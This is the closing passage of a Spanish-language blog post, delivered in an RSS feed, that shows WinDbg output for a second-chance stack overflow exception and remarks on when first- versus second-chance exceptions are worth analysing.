<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>(1f60.1c0c): <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: red">Stack overflow - code c00000fd (!!! second chance !!!)</SPAN></B><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>eax=00032000 ebx=7ffd9000 ecx=0001f208 edx=7c82860c esi=00000000 edi=00000000<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>eip=00401237 esp=000378b4 ebp=000378bc iopl=0<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>nv up ei pl nz na pe nc<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>cs=001b<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>ss=0023<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>ds=0023<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>es=0023<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>fs=003b<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>gs=0000<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>efl=00010206<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>StackOverflow!_chkstk+0x27:<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>00401237 8500<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>test<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>dword ptr [eax],eax<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>ds:0023:00032000=00000000</SPAN><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri; mso-ansi-language: EN-US" lang=EN-US><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri; mso-ansi-language: EN-US" lang=EN-US><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"></SPAN>&nbsp;</P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">Dependiendo del tipo de escenarios que estemos&nbsp;investigando, puede ser relevante analizar las excepciones de <EM>first chance</EM>, las de <EM>second chance</EM>, o las dos. &nbsp;</SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"></SPAN>&nbsp;</P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">Hasta el próximo post, </SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">- Daniel Mossberg</SPAN></P></FONT></SPAN>]]></content:encoded>
    </item>
  </channel>
</rss>